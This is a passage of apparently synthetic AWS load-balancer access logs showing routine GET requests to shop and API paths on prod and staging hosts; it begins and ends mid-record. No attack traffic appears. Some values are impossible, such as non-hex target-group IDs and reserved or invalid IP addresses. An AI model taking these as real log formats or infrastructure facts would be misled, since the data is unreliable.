302 342 836 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb55-03e65fe27d12445eacf6571c" "prod-web-alb.example.com" "-" 5 2024-11-01T00:16:05.053655Z "forward" "-" "-" "10.0.109.165:443" "302" "-" "-" +https 2024-11-01T00:16:05.173822Z prod-web-alb 134.245.245.207:47381 10.0.213.250:443 0.090713 0.478344 0.007627 200 200 250 5647 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb55-2667239d08fb4c3e82d675ab" "prod-web-alb.example.com" "-" 4 2024-11-01T00:16:05.173822Z "forward" "-" "-" "10.0.213.250:443" "200" "-" "-" +http 2024-11-01T00:16:06.662187Z staging-alb 227.22.201.168:43230 202.73.152.199:8080 0.092337 0.554970 0.119530 302 302 503 14230 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb56-a50c99cf4f2448ecbe52ea23" "staging-alb.example.com" "-" 5 2024-11-01T00:16:06.662187Z "forward" "-" "-" "202.73.152.199:8080" "302" "-" "-" +http 2024-11-01T00:16:07.666776Z staging-alb 112.248.157.24:63705 72.71.182.247:443 0.112032 0.483542 0.011370 404 404 493 11715 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb57-52226ed76e2d49bf9126ea46" "staging-alb.example.com" "-" 7 2024-11-01T00:16:07.666776Z "forward" "-" "-" "72.71.182.247:443" "404" "-" "-" +https 2024-11-01T00:16:08.270047Z prod-web-alb 185.72.226.9:38642 10.0.188.94:443 0.043808 0.062803 0.098352 200 200 192 9596 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb58-91276806a4474583b2b4fce0" "prod-web-alb.example.com" "-" 10 2024-11-01T00:16:08.270047Z "forward" "-" "-" "10.0.188.94:443" "200" "-" "-" +https 2024-11-01T00:16:08.669773Z prod-api-alb 138.245.196.147:27985 10.0.135.54:443 0.028262 0.056245 0.072766 200 200 133 8291 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb58-5aa9978bdf5f41ee810c7317" "prod-api-alb.example.com" "-" 10 2024-11-01T00:16:08.669773Z "forward" "-" "-" "10.0.135.54:443" "200" "-" "-" +https 2024-11-01T00:16:10.540732Z prod-web-alb 96.148.81.173:11243 10.0.211.85:443 0.062511 0.130284 0.079669 200 200 268 4767 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb5a-6cb8a557bd744ec4bf4de052" "prod-web-alb.example.com" "-" 1 2024-11-01T00:16:10.540732Z "forward" "-" "-" "10.0.211.85:443" "200" "-" "-" +https 2024-11-01T00:16:11.914123Z prod-api-alb 161.31.114.16:45379 10.0.140.179:443 0.005822 0.461285 0.000644 200 200 408 10024 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb5b-d5cc7bf26bc447e7830d6e8e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:16:11.914123Z "forward" "-" "-" "10.0.140.179:443" "200" "-" "-" +https 2024-11-01T00:16:12.600368Z prod-api-alb 46.169.108.118:51262 10.0.133.228:443 0.084419 0.213566 0.025011 200 200 172 852 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb5c-5826298081cc4cecae971b9e" "prod-api-alb.example.com" "-" 0 2024-11-01T00:16:12.600368Z "forward" "-" "-" "10.0.133.228:443" "200" "-" "-" +https 2024-11-01T00:16:14.331365Z prod-web-alb 206.155.218.18:26123 10.0.208.120:443 0.020772 0.147219 0.021647 404 404 416 13524 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb5e-266b6a8012844e509ce3502b" "prod-web-alb.example.com" "-" 4 2024-11-01T00:16:14.331365Z "forward" "-" "-" "10.0.208.120:443" "404" "-" "-" +https 2024-11-01T00:16:14.795488Z staging-alb 108.162.165.133:42993 49.54.183.64:8080 0.050860 0.720181 0.045339 301 301 602 7031 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb5e-feec4a33e43344159644f84f" "staging-alb.example.com" "-" 4 2024-11-01T00:16:14.795488Z "forward" "-" "-" "49.54.183.64:8080" "301" "-" "-" +https 2024-11-01T00:16:15.587384Z prod-api-alb 12.58.33.100:20487 10.0.149.89:443 0.065778 0.066150 0.032145 302 302 656 13021 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb5f-b6607b42f58442088a121cd6" "prod-api-alb.example.com" "-" 7 2024-11-01T00:16:15.587384Z "forward" "-" "-" "10.0.149.89:443" "302" "-" "-" +https 2024-11-01T00:16:17.522508Z staging-alb 137.76.118.42:12845 240.59.105.59:443 0.135536 0.462463 0.014779 200 200 978 14638 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb61-0d1b4ba1ee2e40569be99ea1" "staging-alb.example.com" "-" 2 2024-11-01T00:16:17.522508Z "forward" "-" "-" "240.59.105.59:443" "200" "-" "-" +https 2024-11-01T00:16:19.388300Z prod-api-alb 196.39.35.80:22628 10.0.33.205:443 0.098686 0.359722 0.099808 200 200 947 2634 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb63-93f3b046677a4cfe83bfb271" "prod-api-alb.example.com" "-" 1 2024-11-01T00:16:19.388300Z "forward" "-" "-" "10.0.33.205:443" "200" "-" "-" +https 2024-11-01T00:16:20.592862Z prod-web-alb 199.211.71.25:43704 10.0.140.233:443 0.012743 0.291998 0.039858 404 404 66 6173 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb64-51d6e813fd274dfc88cab033" "prod-web-alb.example.com" "-" 2 2024-11-01T00:16:20.592862Z "forward" "-" "-" "10.0.140.233:443" "404" "-" "-" +https 2024-11-01T00:16:22.355492Z prod-web-alb 222.222.196.191:37364 10.0.38.13:443 0.039557 0.268340 0.040144 200 200 55 12999 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb66-27367701202b4e9fa4789d8c" "prod-web-alb.example.com" "-" 7 2024-11-01T00:16:22.355492Z "forward" "-" "-" "10.0.38.13:443" "200" "-" "-" +https 2024-11-01T00:16:23.764880Z staging-alb 164.231.88.214:35641 198.36.107.127:8080 0.038858 0.196238 0.122280 200 200 143 10841 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb67-b399500838424874bad157f8" "staging-alb.example.com" "-" 0 2024-11-01T00:16:23.764880Z "forward" "-" "-" "198.36.107.127:8080" "200" "-" "-" +https 2024-11-01T00:16:24.961255Z prod-web-alb 57.159.219.48:20502 10.0.196.222:443 0.027116 0.215730 0.010452 404 404 705 12777 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb68-fda08d8096fa41628b946965" "prod-web-alb.example.com" "-" 8 2024-11-01T00:16:24.961255Z "forward" "-" "-" "10.0.196.222:443" "404" "-" "-" +http 2024-11-01T00:16:25.277520Z staging-alb 103.90.77.254:63136 168.8.207.214:8080 0.115264 0.114854 0.146764 200 200 790 13360 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb69-044d68871f91437885a4c10f" "staging-alb.example.com" "-" 10 2024-11-01T00:16:25.277520Z "forward" "-" "-" "168.8.207.214:8080" "200" "-" "-" +https 2024-11-01T00:16:26.927161Z prod-api-alb 101.128.115.47:34605 10.0.219.101:443 0.001287 0.262059 0.022140 301 301 372 2595 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb6a-ae1d2b5e850f4a45b0c25e9c" "prod-api-alb.example.com" "-" 0 2024-11-01T00:16:26.927161Z "forward" "-" "-" "10.0.219.101:443" "301" "-" "-" +https 2024-11-01T00:16:27.557123Z prod-web-alb 90.123.101.72:59303 10.0.55.29:443 0.081974 0.333686 0.059813 301 301 830 7930 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb6b-b46baa8671374087a0644f0a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:16:27.557123Z "forward" "-" "-" "10.0.55.29:443" "301" "-" "-" +https 2024-11-01T00:16:28.362663Z prod-api-alb 94.183.237.128:63996 10.0.122.114:443 0.080029 0.067043 0.039127 301 301 56 4772 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb6c-bb4d253aa3d940b5a255621c" "prod-api-alb.example.com" "-" 5 2024-11-01T00:16:28.362663Z "forward" "-" "-" "10.0.122.114:443" "301" "-" "-" +http 2024-11-01T00:16:28.593436Z staging-alb 141.215.123.146:12783 196.21.149.223:80 0.053192 0.650070 0.113789 200 200 403 14284 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb6c-279a76300b9548a0bb67a3e7" "staging-alb.example.com" "-" 3 2024-11-01T00:16:28.593436Z "forward" "-" "-" "196.21.149.223:80" "200" "-" "-" +https 2024-11-01T00:16:29.863120Z prod-web-alb 223.98.229.117:34782 10.0.209.63:443 0.095580 0.416080 0.071236 200 200 472 5674 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb6d-32a20d3f224045d195b3be5b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:16:29.863120Z "forward" "-" "-" "10.0.209.63:443" "200" "-" "-" +https 2024-11-01T00:16:31.013953Z prod-web-alb 178.124.152.63:62287 10.0.117.162:443 0.094431 0.288157 0.075995 301 301 885 5470 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb6f-374134d85f6a4d3ab55f8000" "prod-web-alb.example.com" "-" 1 2024-11-01T00:16:31.013953Z "forward" "-" "-" "10.0.117.162:443" "301" "-" "-" +https 2024-11-01T00:16:32.396369Z prod-api-alb 208.88.162.174:54192 10.0.200.177:443 0.043211 0.466470 0.059769 404 404 58 3347 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb70-e829a511c0384e1eb2949990" "prod-api-alb.example.com" "-" 10 2024-11-01T00:16:32.396369Z "forward" "-" "-" "10.0.200.177:443" "404" "-" "-" +http 2024-11-01T00:16:33.740149Z staging-alb 51.232.228.29:26144 88.221.8.212:80 0.093379 0.242614 0.044590 301 301 285 4933 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb71-c0ac8908da6f486eb354d812" "staging-alb.example.com" "-" 1 2024-11-01T00:16:33.740149Z "forward" "-" "-" "88.221.8.212:80" "301" "-" "-" +https 2024-11-01T00:16:35.090179Z staging-alb 7.35.22.1:55069 214.130.83.115:8080 0.119114 0.145372 0.081667 200 200 854 13345 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb73-bfbbca871b2f4278bc7c7156" "staging-alb.example.com" "-" 1 2024-11-01T00:16:35.090179Z "forward" "-" "-" "214.130.83.115:8080" "200" "-" "-" +https 2024-11-01T00:16:36.972245Z prod-api-alb 198.250.164.228:43540 10.0.39.229:443 0.047232 0.172056 0.093813 200 200 312 12666 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb74-21667d2ae10b4cfdbde984f1" "prod-api-alb.example.com" "-" 6 2024-11-01T00:16:36.972245Z "forward" "-" "-" "10.0.39.229:443" "200" "-" "-" +http 2024-11-01T00:16:38.131887Z staging-alb 104.177.16.94:10294 0.103.72.24:80 0.105687 0.628852 0.073710 404 404 17 10408 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb76-8061a71100144841a5631df2" "staging-alb.example.com" "-" 1 2024-11-01T00:16:38.131887Z "forward" "-" "-" "0.103.72.24:80" "404" "-" "-" +https 2024-11-01T00:16:39.360607Z prod-web-alb 92.183.204.53:31614 10.0.13.251:443 0.053423 0.291664 0.036151 404 404 834 14068 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb77-2b08c0693cde43029209221a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:16:39.360607Z "forward" "-" "-" "10.0.13.251:443" "404" "-" "-" +https 2024-11-01T00:16:40.998187Z staging-alb 156.154.173.82:60466 59.0.121.85:8080 0.132325 0.128033 0.121400 200 200 728 13925 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb78-294a315890ba4b1c90fc7c6a" "staging-alb.example.com" "-" 1 2024-11-01T00:16:40.998187Z "forward" "-" "-" "59.0.121.85:8080" "200" "-" "-" +https 2024-11-01T00:16:41.846084Z prod-api-alb 156.149.99.243:33443 10.0.188.127:443 0.071592 0.417112 0.003388 200 200 993 4330 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb79-50dba57c6cf74d3caefe072c" "prod-api-alb.example.com" "-" 6 2024-11-01T00:16:41.846084Z "forward" "-" "-" "10.0.188.127:443" "200" "-" "-" +http 2024-11-01T00:16:42.257291Z staging-alb 79.220.238.109:63206 111.13.105.209:80 0.023958 0.737662 0.004101 200 200 492 14025 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb7a-7f437e26367b44368bd2bb41" "staging-alb.example.com" "-" 1 2024-11-01T00:16:42.257291Z "forward" "-" "-" "111.13.105.209:80" "200" "-" "-" +https 2024-11-01T00:16:43.195096Z prod-web-alb 205.212.108.145:28836 10.0.25.131:443 0.083606 0.100557 0.021661 200 200 369 4382 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb7b-b0291955948d419a9d900d5f" "prod-web-alb.example.com" "-" 4 2024-11-01T00:16:43.195096Z "forward" "-" "-" "10.0.25.131:443" "200" "-" "-" +http 2024-11-01T00:16:44.016907Z staging-alb 189.56.61.176:16863 178.176.139.35:80 0.136405 0.111802 0.049992 301 301 61 5712 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb7c-fbb0f1056fba438eb626ea1f" "staging-alb.example.com" "-" 5 2024-11-01T00:16:44.016907Z "forward" "-" "-" "178.176.139.35:80" "301" "-" "-" +https 2024-11-01T00:16:44.718917Z staging-alb 195.71.86.255:19648 29.68.156.84:443 0.079143 0.528166 0.075081 302 302 728 14565 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb7c-562472c973cf4ee3bb0e673d" "staging-alb.example.com" "-" 6 2024-11-01T00:16:44.718917Z "forward" "-" "-" "29.68.156.84:443" "302" "-" "-" +https 2024-11-01T00:16:46.669399Z prod-web-alb 153.183.185.221:53063 10.0.207.214:443 0.024895 0.091763 0.094590 200 200 144 10962 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb7e-d43ec970c8b648069dd944d2" "prod-web-alb.example.com" "-" 3 2024-11-01T00:16:46.669399Z "forward" "-" "-" "10.0.207.214:443" "200" "-" "-" +https 2024-11-01T00:16:48.205778Z prod-api-alb 50.201.36.5:61389 10.0.132.152:443 0.067807 0.362827 0.047136 302 302 127 7892 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb80-da75994f0de14b45ab84f0f0" "prod-api-alb.example.com" "-" 0 2024-11-01T00:16:48.205778Z "forward" "-" "-" "10.0.132.152:443" "302" "-" "-" +https 2024-11-01T00:16:48.356539Z prod-web-alb 34.6.42.165:57417 10.0.46.90:443 0.008777 0.471011 0.083932 404 404 291 6341 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb80-f6838d9839984f1991050213" "prod-web-alb.example.com" "-" 5 2024-11-01T00:16:48.356539Z "forward" "-" "-" "10.0.46.90:443" "404" "-" "-" +https 2024-11-01T00:16:49.174350Z prod-web-alb 101.167.118.206:41824 10.0.78.143:443 0.003333 0.077173 0.088227 404 404 346 12623 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb81-9a7f823742f34460b9fe5510" "prod-web-alb.example.com" "-" 5 2024-11-01T00:16:49.174350Z "forward" "-" "-" "10.0.78.143:443" "404" "-" "-" +https 2024-11-01T00:16:49.386525Z prod-api-alb 154.75.5.158:34967 10.0.138.186:443 0.056219 0.247909 0.001298 301 301 819 5582 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb81-7601c2f047b8456797f36d19" "prod-api-alb.example.com" "-" 3 2024-11-01T00:16:49.386525Z "forward" "-" "-" "10.0.138.186:443" "301" "-" "-" +https 2024-11-01T00:16:51.172336Z prod-api-alb 214.192.101.34:27504 10.0.147.186:443 0.022720 0.412443 0.096023 200 200 273 6594 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb83-3d0a0252baca4e418634b040" "prod-api-alb.example.com" "-" 0 2024-11-01T00:16:51.172336Z "forward" "-" "-" "10.0.147.186:443" "200" "-" "-" +http 2024-11-01T00:16:52.976830Z staging-alb 45.183.189.225:46066 182.138.91.226:8080 0.023816 0.306180 0.048260 404 404 563 11011 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb84-37ecafcce647405b96743c54" "staging-alb.example.com" "-" 9 2024-11-01T00:16:52.976830Z "forward" "-" "-" "182.138.91.226:8080" "404" "-" "-" +https 2024-11-01T00:16:53.804731Z prod-web-alb 3.48.145.3:19528 10.0.141.168:443 0.075934 0.327532 0.037113 404 404 64 12411 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb85-5f13a930e64841199735617e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:16:53.804731Z "forward" "-" "-" "10.0.141.168:443" "404" "-" "-" +https 2024-11-01T00:16:54.255669Z prod-web-alb 106.73.65.53:26788 10.0.155.55:443 0.045399 0.337500 0.064890 200 200 541 9609 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb86-d6f93da5bb6c464181323238" "prod-web-alb.example.com" "-" 3 2024-11-01T00:16:54.255669Z "forward" "-" "-" "10.0.155.55:443" "200" "-" "-" +https 2024-11-01T00:16:54.662844Z staging-alb 217.187.233.92:17646 192.252.131.125:443 0.029422 0.174694 0.010864 404 404 540 13364 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb86-d28f7b8bb2a949a49645228d" "staging-alb.example.com" "-" 4 2024-11-01T00:16:54.662844Z "forward" "-" "-" "192.252.131.125:443" "404" "-" "-" +https 2024-11-01T00:16:56.641786Z prod-api-alb 86.51.26.108:35257 10.0.116.2:443 0.036565 0.181830 0.083220 200 200 306 11871 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; 